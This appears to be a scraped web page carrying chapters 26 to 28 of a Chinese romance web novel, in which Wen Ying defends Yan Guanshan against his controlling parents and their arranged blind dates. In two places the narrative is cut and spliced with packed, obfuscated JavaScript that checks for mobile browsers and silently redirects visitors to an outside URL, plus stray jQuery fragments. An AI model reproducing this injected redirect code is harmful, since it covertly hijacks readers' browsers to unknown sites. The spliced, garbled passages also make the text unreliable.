“李姐。”闻影问道,“你说这家里没来过人,那晏关山的爸妈总来过吧?”
李姐摇摇头:“从来没有,关山也不愿提起。”
她想了想又道:“欸,其实应该是来过,我不太确定是不是。有一回关山上班不在家,我在家管毛孩子,见门口停了一辆好高级的轿车,隔了会儿下来一对夫妻,朝门里望了很久,我以为是找关山的,刚想跟他们说话,这对夫妻就慌里慌张上车走了。”
闻影:“就这一次?”
“嗯,我来家里帮佣也三年多了,就见过这一回。”李姐道。
其实后来她跟晏关山说过这对疑似父母的夫妻,怕对方真有什么事找晏关山,谁知晏关山知道后情绪突然变得有些阴沉,还叮嘱李姐下次再见到不要搭理。
李姐问:“闻影,你和关山关系肯定很好吧,不然也不会到家里来玩。”
闻影语塞:“就……还行。”
李姐笑了笑:“你也没见过他的父母吗?”
闻影摇头,因为自己没有爹妈,所以当初也并不好奇别人的爹妈。至于现在多嘴问这么一句,大概是觉得房子太大太空了,晏关山只有一屋子小动物陪着,难道不孤独吗。
闻影没再继续打听,回到客厅往沙发上一歪,狗狗猫猫火速爬上来将他围住,又暖和又软糯,闻影躺那儿动都不敢动,没多一会儿竟然睡着了。
晏关山遛完狗回家,见闻影臂弯里窝着小橘,肚子上躺着阿炳,缺脚的狗子大鸡腿挤在小腿和沙发之间,而人肉垫子闭着眼睡得很安详。
李姐饭刚刚做好,不忍心打扰,叫晏关山来喊他。
晏关山洗了手蹲在沙发旁,闻影卸去防备后眉眼柔和得多,嘴角也不总是向下撇着的,他皮肤白,挺翘的鼻尖左边有一颗很小的痣。家里暖和,又被毛孩子挤着,热得脸颊上晕了一层浅浅的粉色。
晏关山舔了舔唇,把一些莫名冲动给摁回肚子里,他屈着食指轻轻刮了下闻影的脸,柔声喊他:“闻影。”
“唔。”闻影掀开眼皮。
半睡不醒的眼睛看见的是一个迷蒙潮湿的画面,画纸大半映着晏关山的脸,柔和安静,他噙着笑低声说:“饭做好了,起来吃。”
26.第 26 章
费彦回玉城待了三天就赶着回家了,常年在外打工,一年也就这几天能回家陪陪爹妈,闻影没留他反而赶他走,边屹再嘤嘤嘤舍不得,临走那天还是给费彦大箱小箱的扛走很多年货。
人都走了一个多星期了,边屹才逮着闻影得空,非要来家里跟他腻歪一下。
闻影看着从玄关堆到厨房满地的土产,又头疼又疑惑:“你是不是偷偷健身了?”
边屹脱掉外衣鼓了鼓并不存在的肌肉道:“我是薄肌男孩,现在恰好,再练就不好看了。”
“薄肌个屁,连桶水都抬不动,好看有屁用啊。”闻影嗤笑着继续戳手机。
边屹轻哼:“我抬不动水,可我提得动菜!菜也很重的好吗!”
他瘫在沙发蹬腿:“快快快,给我拿瓶汽水,帮人家拧开哦。”
看在这茫茫多土产的份上,闻影没踹他,把水给边屹,慢腾腾走过去打算收拾。
“放着我来!”边屹喊道,“不全是你的,费费给你和晏哥都带了土产,我还没分呢,你别弄了,一会儿给我弄乱了。”
闻影收回手,奇怪道:“你把给他的扛我家里来干什么?”
“给晏哥的我俩一起送呀。”边屹拍拍手站起来,理所当然道,“费费过生日那天不好提那么多东西,二来也怕晏哥不收,你送去他肯定收。”
闻影无语:“费彦真特么会给我找事,要送你自己送去。”
“我不知道晏哥住哪儿。”边屹两手一摊。
闻影窝回沙发:“发微信自己问。”
边屹眼巴巴地说:“问到了我也会迷路,迷到天黑,又怕鬼。”
拳头有点硬。
闻影瞪眼:“你存心的是吧?”
“哎呀,就陪我去一下嘛。”边屹摇头晃脑地撒娇,“晏哥本来就是通过你才和我们认识的,人家帮了咱那么多忙,过年回个礼,应当应分不是?”
闻影依旧嘴硬:“你在教我做事?”
“你就当我想见帅哥洗洗眼睛,行不行?”边屹嘀嘀咕咕蹲玄关收拾去了。
闻影懒得搭理他,算是默认同去。
晏关山在边屹进门前五分钟还在发出吃饭邀请,当然还是被闻影一口回绝了。
最近频繁接触已经严重超纲,闻影总是后知后觉地反思,明明想好了不多联系,晏关山几句话又给他带沟里去,一会儿吃饭一会儿回家的,没完没了。两个人还没熟到随时约饭的程度,答应了,今天是饭明天指不定是什么,闻影不希望对方误会,现在这样简单的接触已经是底限,晏关山说的那些答应他或者他来追人的话,在闻影这里还不可能,他心里有些东西没过去。因此绷着神经,对待晏关山始终带点冷淡。
但最近遇到的这些事,无处不在的晏关山存在感太强,于情于理,过年回个礼也是应该的。
索性刚才晏关山发微信来还说了他在家里给狗子洗澡。
闻影打开微信,找到最上面的皮皮头像点开。
[Y]:一会儿给狗子洗澡。
[Y]:要不要来家里玩?
[Y]:小橘有油肚了。
[Y]:[图片]
这些是半小时前的微信,闻影把小橘的肚腩照保存下来,舍得给对方回了一条。
[景三]:在家?
十秒过去。
一分钟过去。
一直到五分钟。
闻影晃着腿有点不耐烦。
怎么个意思?
懒得搭理你时条条秒回。
今天有事找你倒拿乔了!
不过既然说了洗狗,人肯定在家,闻影和边屹大包小包扛着,打车去晏关山家。
车刚到小区门口,边屹就露出一副刘姥姥进城的夸张嘴脸:“晏哥家这么有钱啊?!平时看着好低调,没想到也是个深藏不露的二代!”
闻影:“二什么代,房子他自己买的。”
边屹:“你咋知道?”
真二代能穷得住老破小没钱吃饭?
闻影:“我就是知道。”
边屹却说:“不可能吧,他这么年轻靠自己能买得起这?”
闻影吐槽道:“你天天事业有成年轻有为可劲儿夸他,跟个脑残粉一样,现在又搁这儿蛐蛐。”
“我不是蛐蛐!”边屹撅嘴,解释道,“你这人对钱没什么概念,我给你科普一下,这种独栋别墅在玉城都不让盖了,属于老房子,住得起的非富即贵,现在就算二手房也要千把万,晏哥在我看来是事业有成,但是他开宠物医院再赚钱也不可能挥挥手就买千把万的房子吧?那绝对是家底殷实!”
边屹还补充:“况且我看晏哥开宠物医院根本不是图钱去的,还有那个基金会,你不知道真做公益项目的都是往里倒贴钱的吗,没点儿家底谁经得住这么造啊。”
说得也是,闻影迷惑住了,这些他之前怎么没细想过。
如果真是二代,当初他穷得连饭都快吃不起,打工挣钱攒学费和生活费,过得比自己这个没爹没妈的还苦时,他父母为什么不闻不问呢。
边屹这一顿分析,闻影反倒把以前忽略的细节想起来些,晏关山一直在回避他的家庭情况,回避得还很刻意。
加之李姐那天说起的事,闻影隐隐觉得有些奇怪。
二人下车,扛着土产往晏关山家走,路上闻影还在琢磨事儿,突然听见一个女人细细碎碎的哀求声。
声音不大,但话很密,就显得颇吵,随着他俩靠近晏关山的家,话语内容愈加清晰。
“我们只想看看你过得怎么样,没有别的企图,难道连进家门坐一坐这么简单的请求,在你那里都是为难和要挟吗?”
“任何决定都是为你好,都这么大了还想不明白?”
“我可以容忍你情绪上的反反复复,可成年人得有担当和责任心,本可以体面地扛起肩上的担子,你偏要和我们对着干,把一家子人的心血毁于一旦。”
“你怎么可以对我们这么狠心啊。”
这些话一字不漏传到耳朵里,两个人都听得眉头一皱。
转过角,正对着晏关山家的大铁门,刚才说话的女人还在哀求:“算我求你了晏关山,开门让我们进去,行吗?”
闻影脚步一顿,他拉了边屹一下,犹豫该不该掉头就走。
就只凭刚才那几句话,即便不知以什么身份和立场说出口的,字里行间也尽是指责和埋怨,这种场面不掺合为妙,闻影犹豫半天,听见边屹问:“那是晏哥家里人吗?”
闻影:“不知道。”
“好尴尬,过去也不是,不过去也不是,是吵架了吧。”边屹偷偷看了一眼,“阿姨像是要哭了。”
闻影拉他袖子:“管不着,我俩走吧。”
“欸等等,你听见没。”边屹一脸为难,闻影也听见了,声音小了些,但对方在指名道姓地埋怨晏关山,话越来越难听。
闻影听着刺耳,做不到袖手旁观。
二人的出现打断了女人的话头,铁门外站着一男一女,像是夫妻,年纪四十多岁,都打扮得正式体面,随时能上谈判桌来一轮的那种得体。他们身后停着一辆黑色库里南,不知是司机还是保镖的人木头一样站在最远处。
这对夫妇打量着来人,目光中带着审视和疑惑,闻影被盯得浑身不爽。
第一个有反应的却是皮皮,方才女人对着家门絮叨时,皮皮站在院子里身体对着铁门,绷直身体,喉咙里发出威胁的低吼,但一看见闻影出现在铁门外,皮皮立时摇着尾巴,趴在贴门上兴高采烈地哼哼起来。
边屹见这狗站起来都快有人高了,吓得往后退了一步,却见闻影伸手摸了摸对方的脑袋,挠挠耳朵下巴,很熟稔的样子。
女人见到狗子认人,开口问道:“你们是来找晏关山的吗?”
闻影没搭理,连眼神都不给。
边屹只好点头道:“是的,来给晏哥送年货。”
“他居然还交朋友了。”女人喃喃念叨了一句,端起没什么情绪的笑道,“我们是晏关山的父母,能麻烦你们把他请出来,给父母开一下门吗?
边屹愣住,尴尬得不知怎么接话,磕磕巴巴地喊了声:“阿姨好,叔叔好。”
听见是父母,闻影忍不住多看了几眼这对夫妻,和晏关山确实像,尤其这幅冷脸漠然的样子,和从前的他一模一样。
这时,里面的门开了,晏关山端着冰山脸走出来,一见到站在门外的闻影,他也一愣。
闻影踹了一脚铁门,颇不客气地道:“开门,提不动了。”
晏关山快步走出来开门,声音有些低沉地问:“你俩怎么来了?”
晏母抢答:“来看……”
“送土产。”闻影将手里的东西扔给对方,无视掉一旁的晏母,先一步往里走,“重死了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369614|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>边屹笑眯眯道:“晏哥,是费彦交代了给你送来的,放我这好几天了,这不是闻影今天得空,约着他一起送过来。”
“辛苦了。”晏关山点了下头,“进来吧。”
说完他就进了屋,全程完全把晏父晏母当空气,闻影怕皮皮扑人,摸着狗子的头皮往家里带。
边屹大包小包提着,往后捎了一步乖巧道:“叔叔阿姨,你们先进。”
李姐不在家,客厅里猫猫狗狗满地爬,晏父晏母自己在客厅坐下,四处张望。
闻影把东西都提进了厨房,偷偷看了一眼晏关山,没话找话讲:“为什么不回微信?”
晏关山摸裤兜摸了个空,抿唇道:“你给我发了吗?手机可能放在院子里了,我去拿。”
“不急,也没什么大事,就是要过来前问你在不在家。”闻影竖耳朵听了下,客厅寂静得可怕,“狗子洗完了?”
“没洗成。”晏关山简短道。
闻影猜,估计正要洗狗父母就来聒噪,对峙到闻影他们来。
“你和边屹喝什么自己拿。”晏关山打开冰箱,展示他五颜六色的汽水,闻影挑了两瓶,去客厅给了边屹。
边屹接的时候已经尴尬得坐不住了,这俩人回家就往厨房里钻,给自己一瓶水也不问问晏父晏母喝什么,闻影拿了水就翘起二郎腿窝在沙发一头玩手机不理人。
边屹在家里和长辈一向相处融洽,他替人尴尬的毛病犯起来,只好主动承担周全长辈的任务。
煮水泡茶话家常,闻影有一句没一句地听着,这父母竟一直在努力找外人打听自己儿子的情况,闻影一局游戏打完,晏关山还没过来,他皱着眉起身去找。
晏关山盘腿坐在猫房里,捏着梳子给阿炳梳毛,梳得又温柔又认真,听见动静也没有回头,闻影只看得见一截漂亮修长的后脖颈。
闻影只好挨着他坐下,一把捞过小橘抱着,道:“有你这么招待客人的吗?躲在这拉了个脸,给谁看啊。”
“很臭么?”晏关山偏过头,“不是冲你。”
“冲我早揍你了。”闻影假装要打人,给了空气一拳,“打算躲到天黑?”
“不知道。”晏关山闷闷不乐,“不想出去。”
闻影无意多问,晏关山情绪很不对劲,这时候打听他和父母有什么矛盾无异于火上浇油。他想了想道:“你要真不想见他们,老子给他俩轰出去得了。”
晏关山干脆道:“好。”
闻影起身就要走,被晏关山扣住手腕,闻影甩了甩手没松开,晏关山问:“轰完人你还回来吗?”
闻影以为他要拦,没想到是问这个,好笑道:“真轰啊?”
“嗯。”晏关山无奈地说,“我说什么都不管用。”
闻影静了静,任他拉着,又蹲下道:“还有你都做不好的事啊。”
晏关山终于露出一点笑意:“虽然听着阴阳怪气,但我听得出你在夸我。”
“少臭屁,起来,躲这算怎么回事。”闻影不由分说就着拉着自己的那只手把晏关山给拖了起来,“他们欺负你?”
“我这么大一人,怎么欺负。”晏关山失笑。
闻影:“那你躲什么?”
晏关山笑容淡下去:“冲突没有意义。”
“一见面就这样?”闻影问。
晏关山“嗯”了声。
“那行。”闻影说,“你不说话,我把他们赶出去。”
晏关山没说话,只看着他。
闻影强调:“你放心,我不动手,我不打老人。”
晏关山忍不住喊他:“闻影。”
“干嘛?”闻影皱着个眉。
晏关山好奇道:“以前边屹费彦挨揍的时候,你也这样?”
“哪样?”闻影问。
晏关山笑了下,没说他气鼓鼓的像护崽的老母鸡。他相信闻影出了这个房门,除了打架真的会不择手段地帮他把爹妈赶出门去,三哥之所以叫三哥,就是因为仗义,三哥放在心里的朋友说一句委屈,他真能赴汤蹈火两肋插刀。
晏关山没想到在这种时候体会到了一次边屹和费彦才有的待遇,但他情绪起来过去的都快,毕竟不是小孩儿,躲着解决不了问题,更不愿意闻影为自己冲锋陷阵。
“我自己去跟他俩谈,你别掺和。”晏关山反手扯住闻影的衣袖往门外走,低声说,“别因为我给你惹不痛快,不值得。”
27.第 27 章
客厅里,晏父从始至终不发一语,晏母难得遇到儿子的朋友,持续高强度聊天,许是晏关山真的没什么朋友,晏母对他俩的家境和职业都很感兴趣。
得知还是玉大的学生,晏母奇怪道:“他毕业的时候,你们还没上大学吧,怎么认识的?”
边屹略过细节:“晏哥对我们很照顾。”
“这样啊。”一向孤僻冷漠不搭理人的晏关山居然照顾学弟,这倒新鲜,晏母说,“他学习从来都很好,不过大学……你们念的什么专业?”
边屹:“我是中文系的。”
晏母喃喃道:“玉大中文系也还行,那闻影呢?”
边屹:“美院。”
晏母面露嫌弃:“只是个艺术生?”
“美院不好考的,前阵还办画展,闻影的画是最吃香的。”边屹回了个尴尬的笑,见对方兴致缺缺,也没再多说什么。
“也是,再怎么说学艺术陶冶情操,学好了做个画家,听着也体面。不像兽医,整天和宠物打交道,对自我毫无提升,对社会也没有贡献。”晏母评价道。
边屹:“……”
聊不下去了,谁来救救我。
晏母话锋一转:“不过过年还送土特产来,你们有心了。”
“这些土产是朋友给晏哥带的,我们代他送过来。”边屹趁机夸了晏关山一波,把他怎么助人为乐的事迹复述了一遍,想驳斥那番兽医无用的观点,然而说完晏母仍是无动于衷,甚至脸色更不好看了。
晏母:“费彦的工作是跟着项目走?平时都在工地吗?”
边屹:“是啊,开挖机,项目在哪他就去哪。”
晏父晏母对看一眼,边屹从他俩脸上瞧出了浓浓的嫌恶。
晏母:“晏关山和你们不同专业,学习上的事大概也帮不了什么,他现在工作……应该很忙,你们尽量不要太打扰他,知道了吗?”
虽然晏母表情没变,可态度和话里的严厉很明显,边屹木讷地道:“……知道了,阿姨。”
还好二人终于磨磨蹭蹭从猫屋里出来,解救了快碎掉的边屹,晏母晏父的眼神瞬间钉在晏关山身上,晏母腾地站起来说:“晏关山,你过来,我们有话要说。”
有闻影在,晏关山没那么抗拒和父母面对面,说不清这奇怪的安全感哪来的,但被闻影护着很踏实。晏关山在单人沙发上坐下,板板正正挺直脊背,闻影紧挨着他杵在一边。
晏母客气道:“今天谢谢你们送东西来,改天让关山请你们吃饭,家里还要商量些事,你们去哪里跟司机说一声就行了,他会送你们的。”
这逐客令下得生硬又不容置喙,边屹下意识站起来,又被闻影瞪得坐回去。
闻影懒懒地说:“我俩哪也不去,待这玩会儿,你们聊你们的。”
晏母尴尬地扯了下嘴角:“不方便。”
“方便吗?”闻影故意仰着头问晏关山。
晏关山:“待着吧。”
“晏关山。”被下了面子,晏母冷着脸喊他,“有些话当着外人说,不体面,也不礼貌。”
“这没外人。”晏关山说,“你俩想说什么就说,我听着。”
晏母晏父对看一眼,他们俩要不是逮着机会连家门都进不了,顾着面子说教暂且放下,晏母调整情绪,把包里的文件袋递给晏关山:“你先打开看看。”
晏关山接过翻开,还没看清楚是什么东西,晏母紧接着说:“挑个你中意的,我们会尽快安排见面。这几个女孩子长相履历都不错,家里和咱晏家有生意往来,算世交,配得上你。”
晏关山头皮炸没炸闻影不知道,但闻影是有点炸,他跟边屹对上视线,两个人都不言而喻有点难以置信。相亲这种事,听得多了,本来没什么大不了,但能把相亲搞成招聘现场的独此一家。
边屹想蛐蛐又蛐不成,拿手机在三人小群里发微信。
[边边小叮当]:要了猪命,你快救救晏哥。@景三
闻影余光瞥晏关山,他虽然一言不发,但竟然认认真真在看女孩子的简历。
[景三]:救个屁,他在挑呢。
[边边小叮当]:晏哥一行字看了五分钟了你说他在挑?挑错别字么。
[你彦哥]:晏哥咋啦?你俩干嘛呢?
[边边小叮当]:晏哥被迫相亲。
[你彦哥]:卧槽?妹子漂亮不,有照片吗?
边屹无语得翻了个白眼把手机摁灭。
不是闻影不想救,别的事儿也就算了,找女朋友这事上他还真插不上嘴。
窒息又尴尬的十分钟过去,晏关山抬起头说:“看完了,我——”
晏母很快打断他,继续介绍:“这里头有你爷爷还在世时,和人家约好的娃娃亲,虽然是长辈间的玩笑,但交情在这,到你们这一辈早就该认识走动。”
晏父插话道:“本来按照正常的规划,你现在已经进家里公司帮着做事了,和对方多少打过交道,把谈婚论嫁提上日程也就更顺理成章一些,你爷爷去世前也能了个心愿。可惜你一句话都听不进去。”
“少说几句。”晏母拍拍晏父的手,晏父沉着脸扭向一侧,提起来就生气。
晏母接着又说:“回家里公司上班的事今天暂时不跟你提,但是这件事,我认为你有必要听句劝。你要是有中意的最好,没有就按照爸妈给你挑的,一个个去见,我们也会在场。”
晏父:“快过年了,正好几家人走动走动。不是要你事事听安排,工作你有主张,个人问题总该听一下父母的意见,况且只是见面认识,没逼你马上结婚,这样总行了吧?”
晏父晏母一人一句,毫无旁人插嘴的空间,虽然他俩很克制,闻影还是能从言辞之间听出来晏关山和父母的关系十分糟糕,甚至糟糕到决裂的地步。
听起来晏家有钱有势,生意做得很大,晏关山即便不是躺平几辈子不愁吃穿,那也不至于会缺学费和生活费,闻影想起六年前晏关山挤在老破小里过得那么艰难,也曾悄悄怀疑过,他怕不是和自己一样,也是个没爹妈的人。
不过这有爹有妈,像是也没强到哪里去。
闻影忽然就能理解晏关山对父母的抗拒,话语伤人伤在字里行间的控制和强迫,蔑视与不屑,说话的人明明也端得理性体面,但听的人总是一阵一阵的闹心。
在闻影思绪乱飞的时候,晏关山“啪”一声把文件袋扔在茶几上,他言简意赅道:“我不相亲,以后这种事不要再提了。”
晏父皱着眉威严十足:“特意来一趟,是告知,不是商量。不说要你次次参与,起码黄家的人你得见!”
晏关山略低着头:“忙,不见。”
晏父气不打一处来:“你能忙什么?”
晏关山用对方的话堵嘴:“忙这点阿猫阿狗上不得台面的小生意。”
“你——”晏父怒极,顾忌还有外人在,只能闭嘴喝了口茶。
晏母继续发力:“你年纪也不小了,该找个女朋友,谈个一两年结婚生子。自己找,外头的人什么成色不好说,我们安排,这些都是世交之女,大可放心。”
边屹听得头疼,他有一对开明的父母,这些情况基本没遇到过,虽然知道控制欲强的父母很可怕,真遇见了,还是替晏关山感到窒息。
闻影就更不用说了,一向是没人管撒欢着过,晏父晏母言语里的贬损和强迫让他每一处神经都在冒火。
晏关山平静地拒绝:“我不去。”
晏母就像没听见,说:“我把饭局的时间地点发给你,见哪家你也提前看看资料,这几年和家里疏远的事在外人面前就不用提了,如果问起职业,就说在家里公司帮忙。”
“医院随时有事,走不开。”晏关山不管他们故意听见还是真没听见,依旧这么回。
晏父严厉道:“年前都忙,两家人约一次饭局要乔很久,所以你有事就安排别的时间,分清楚轻重。”
晏关山自己说得都有点想笑了,他叹口气站起来,走到门边抱臂斜靠着门道:“我不相亲,以后为这种事跑一趟就不必了,来了我也不会开门。”
晏母眉目紧蹙:“那你说好的今年回家过年……”
“你们要再多说一个字,我就不去了。”晏关山冷下脸来。
晏父气不过腾地站起来:“说出的话怎么能反悔?!”
晏关山挑眉:“不是跟你们学的么?走吧,要吵留着过年吵,这不欢迎你们。”
这话已然说得相当不客气了,晏关山下完逐客令扭头就回了房,闻影终于放下早因挂机而被惩罚的游戏,他收拾好文件递给晏母,冷着脸什么都没说。
晏父气哼哼地出了门,晏母无奈,一边将文件收进包里一边叹气,边屹硬着头皮笑道:“阿姨,有什么之后再慢慢沟通,来,我送你和叔叔出去。”
院子里,皮皮一直冲着库里南吼叫,闻影把皮皮叫回屋,打算去找晏关山,却被晏母叫住:“闻影,我看你和晏关山关系很好。”
闻影不耐烦地回过头。
“阿姨能加个你的微信吗?”晏母不由分说拿出手机,“有些事要问问你,是关于晏关山的。”
闻影完全可以拒绝,他不喜欢晏关山的爸妈,可他好奇,想知道究竟发生过什么事,让温和斯文的晏关山能在见到对方时浑身长满尖锐的刺,照着痛处戳,他由内向外散发的冷漠孤僻和多年前刚认识他时一样。
闻影那会儿就知道,这只是晏关山的伪装,他本不是这样的人。
“好。”闻影掏出手机,递给对方。
……
闻影是在二楼的小阳台找到晏关山的,有两只小狗陪着他,窗边有个坐着喝茶的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14390097|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
榻榻米,电脑开着,晏关山一边摸狗一边看着屏幕。
闻影过来坐下,晏关山都没移开眼睛,只是淡淡问:“走了没?”
“走了。”闻影杵着下巴问,“房子买那么大,就是为了多几个房间躲人啊?这些论文能看出花?怂包。”
晏关山轻笑:“正面刚,凭他俩的口才能搁这儿说到天黑。”
闻影还是忍不住打听,但是又不想打听得太直接,于是找了个刁钻的角度发问:“你妈给挑的儿媳妇儿很差?至于发那么大脾气。”
晏关山偏过头:“好奇?”
闻影从鼻子里哼了声算默认。
晏关山撇撇嘴:“确实不满意。”
闻影:“为什么?是不漂亮还是学历低?你喜欢什么样儿的?”
晏关山看傻子一样看了闻影一眼:“既然这么好奇,刚才怎么不打开来看。”
闻影嗤笑:“我看女的干嘛?!”
“我找女的干嘛?”晏关山不紧不慢地反问。
闻影磨牙:“要是男的你就还真就会去相亲啊?”
晏关山看他好奇也问不到重点,轻易就被带偏,实在是憨得可爱,故意说:“也不去,里面又没你的简历,我去干什么。”
闻影噎住,他就不该瞎操没用的心。
“你是故意这么问的吗?”晏关山起了玩心逗他,“那我再问一遍,你要不要答应——唔!”
闻影捏住了晏关山的嘴。
把“我”字捏回对方肚子里!
“你俩在——”边屹一边上楼一边说话,看见这一幕亲密接触后立马调头就走,“没事你们继续,我这就去跟狗子玩。”
“回来!”闻影收回手,装作无事发生,“他在学习。”
边屹:“?”
边屹看着闻影发红地耳朵尖点头道:“知道了,在学习。”
“你肚子饿不饿?”闻影没头没脑地问。
“哦,我就是来说这事儿。”边屹领会了兄弟的意思,道,“晏哥,本来我俩打算给你送完土产,一起吃个饭的,也到饭点儿了。”
闻影傲娇地瞥一眼电脑:“你有事儿就忙你的,别勉强。”
晏关山忍笑:“不忙。”
闻影:“那走……”
“走哪儿附近都没像样的饭店,这富人区,出去绕好远的路才有吃的,我意思要不咱在家自己做得了。”边屹搓着手说,“我刚帮晏哥收拾土产的时候看了眼冰箱,肉菜都挺齐全。”
见晏关山要起来,边屹伸手拦:“你们聊你们的,饭我做。”
“那你快点。”闻影跟个大爷似的,陷在懒人沙发里,“我饿了。”
边屹屁颠屁颠走了,晏关山无语道:“还是出去吃吧,我开车也方便,边屹第一次来家里做客,让客人做饭太没礼数了。”
“他给你扯一堆理由,馆子里都预制菜地沟油,吃了闹肚子。”闻影道,“当你是朋友才乐意做饭给你吃的,歇着吧,边妈没什么爱好,就喜欢做饭有人吃,一会儿你多吃点,他比过年还高兴。”
晏关山也没再说什么,他没心情吃饭,但如果闻影能多留一会儿,怎么都好。
边屹不让任何人打下手,他嫌闻影屁话多还耽误事,给人赶走了,闻影只好继续晏关山未完成的事业,一起洗狗。
晏关山怕他嫌脏,本来不让进浴室,可闻影没养过宠物,跟宠物有关的一切活动他都特新鲜,偏要亲自上手,弄得一身又是狗毛又是水,颇为狼狈,狗子们都有些残疾,闻影触碰时都小心翼翼的,看得晏关山直笑。
洗完狗子都放进烘干机,两个人站在盥洗台前轮流洗手,闻影懒得讲究了,勾着身子把脸也洗了一遍,嘴里还嘀咕:“怎么还感觉毛粘在脸上,痒痒的,靠。”
晏关山站在身后,含笑看着,突然喊了他一声:“闻影。”
“嗯?”挂着一脸水珠,闻影转过时表情有点呆。
晏关山攥着一块干净毛巾,上前一步,擦掉他额上和下巴的水:“谢谢你没问。”
闻影愣了下,一把抢过毛巾:“老子懒得问。”
晏父晏母突然来访,当着众人面把难堪的家丑摆出来,让晏关山难以自处,按闻影的脾气,他事发时会在二老口出狂言就把人怼到自闭,事后还要对晏关山打破砂锅问到底。
但他今天忍住了脾气,也忍下了好奇。
不为别的,只是看见晏关山孤零零坐在猫屋里的背影有些落寞,又淡淡叮嘱别为自己惹不值得的麻烦,闻影心中泛起异样,想安慰又拉不下脸,所以选择了沉默。
体谅对方这一刻,兴许不愿被打扰。
不过他甩着水珠从晏关山面前擦肩而过时,还是含糊地撂下一句话:“什么时候想说,可以找我。”
晏关山微怔,语带笑意:“你也是。”
28.第 28 章
宠物医院忙起来没个准,大多时候动物就诊都不是什么大病,做检查打疫苗绝育,一个接一个弄完就到饭点儿了,极个别时候遇到危重和疑难病患,检查都耗去几小时,医生会诊到上手术台,一群人弄到半夜也是常事。
不比给人看病,望闻问切,哪疼哪不舒服病人会说,动物不会说话,可人得的病它们都会得,身上疼痛生生忍着,无法表达,连表情都几乎没有,治疗起来特别需要医生的技术与耐心。
可不是每个养宠家庭都当宠物是家人的,动物医疗费用昂贵,困于经济原因,疑难危重病患被主人放弃了的不在少数,晏关山入行久了,倒也能理解不去指责。
每因放弃或没有希望不得不进行安乐时,晏关山都会有深深的无力感。
还好能遇到不论花多少费用都在所不惜的患者家属,晏关山多多少少得到些安慰,在手术台上汗如雨下几个小时聚精会神站着不动,从死神手里拉回来的这些小小生命,在这些人眼里它不是随身物件不是可爱摆设,而是自己家人。
在这种时候,晏关山不论如何都觉得值。
“术后尿管尿袋留置,豆豆神经是3级损伤,留置期限一周起,看恢复情况定,还得之后再评估。”晏关山在大堂跟患者家属交代道,“手术顺利的,你们送来得及时,这个程度的神经损伤过往病例恢复情况在80%左右,不用太担心。”
前台小陈也安慰:“在这住院都有专业医护24小时照看,咱院长亲自上阵做的手术,你们就放心吧,豆豆会好起来的。”
家属抹着眼泪不住感谢:“我给你们医院送个锦旗来,豆豆陪了我八年了,说瘫就瘫了,给我急得,是我没照顾好。真的谢谢你们,谢谢你们。”
“巴哥犬椎间盘脱出的发病率很高,不是你的问题,豆豆其他身体数据都正常,可见你养得很精细。”晏关山说。
家属拉着晏关山边哭边谢,狗子发病吓着了,现下手术结束激动得语无伦次。
好不容易把家属送走,晏关山又转身去了特护病房交代这几天的注意事项,小陈咚咚敲门:“院长,你电话一直响,刚手术中我不敢打扰你,这会儿又打来了。”
晏关山接过手机,见是许寰打来的,他交代完回到办公室才接起来:“许寰?”
“大忙人,终于打通电话了。”许寰笑说。
晏关山舔了舔干涩的嘴唇:“刚下一台手术,一天水都没喝上一口,找我什么事?”
“吃饭啊。”许寰说,“说好请我吃饭的,这左等不来右等不来我自己来约你了。”
晏关山看了眼时间,都九点半了,他有些抱歉地问:“这个点了,只能算是宵夜,你这会儿能出来吗?”
许寰:“赶紧的,明天就除夕了,年前我也就今天还有空,吃哪儿你发我,我出门。”
半个小时后,晏关山和许寰在一家居酒屋见了面,桌子挨着桌子,坐满了人,节前还开门的馆子没几家,这地儿既能吃也能喝口小酒,晏关山每样小吃点了一盘,一人一瓶啤的。
边吃边喝,聊的都是工作,毕业后步入社会,各有事业要忙,见面吃饭的机会不多,不比读书那会儿串到隔壁系就能见到。晏关山又是个在交际上很被动的人,许寰约他十次有八次他都忙,所以见一次很不容易。
聊七聊八聊到闻影,许寰忍不住问:“等你跟我说这事儿好久了,现在能说了吧?”
看他一脸期待,晏关山失笑:“想听什么?”
“上回吃饭,我看你和苏淳不对付,那导员对闻影有意思,闻影也不怎么搭理他,对你倒是挺来劲的。”许寰说,“你俩有戏没戏?”
“暂时没戏。”晏关山诚实地说,“他还生气。”
许寰疑惑:“生什么气?不是,你从头给我说,你俩怎么认识的,后头怎么闹掰的,来来来,再上两瓶啤酒,你慢说。”
许寰是最早一个知道这事的人,晏关山没什么不能跟他说的,小酒喝着,就从六年前怎么在医院门口捡到他聊起,如此如此这般这般,渐渐熟络后偶尔会住在一起,这种日子持续了大半年。
许寰摸着下巴回忆:“大一下,那会儿你刚搬出去,在一家医院兼职,我找你你还老躲我。”
晏关山笑了下:“没交过朋友,不知道怎么跟你相处。”
许寰可太知道晏关山的情况了,那阵他过的艰难也是后来跟许寰熟了之后才肯说的,现在知道他能熬过来,是因为有闻影在。
许寰问:“你不知道跟我相处,怎么就跟闻影处得来?你倒说说,你俩都玩点啥了?”
“没玩儿。”晏关山如实说,“很平淡,纯过日子。”
“啊?”许寰不相信,“闻影那会儿才几岁,半大孩子跟你过日子?”
晏关山:“真的,还是他教我怎么过日子,我连过日子都稀里糊涂。”
“噢。”许寰想了想恍然大悟,“也是,他家里那情况……”
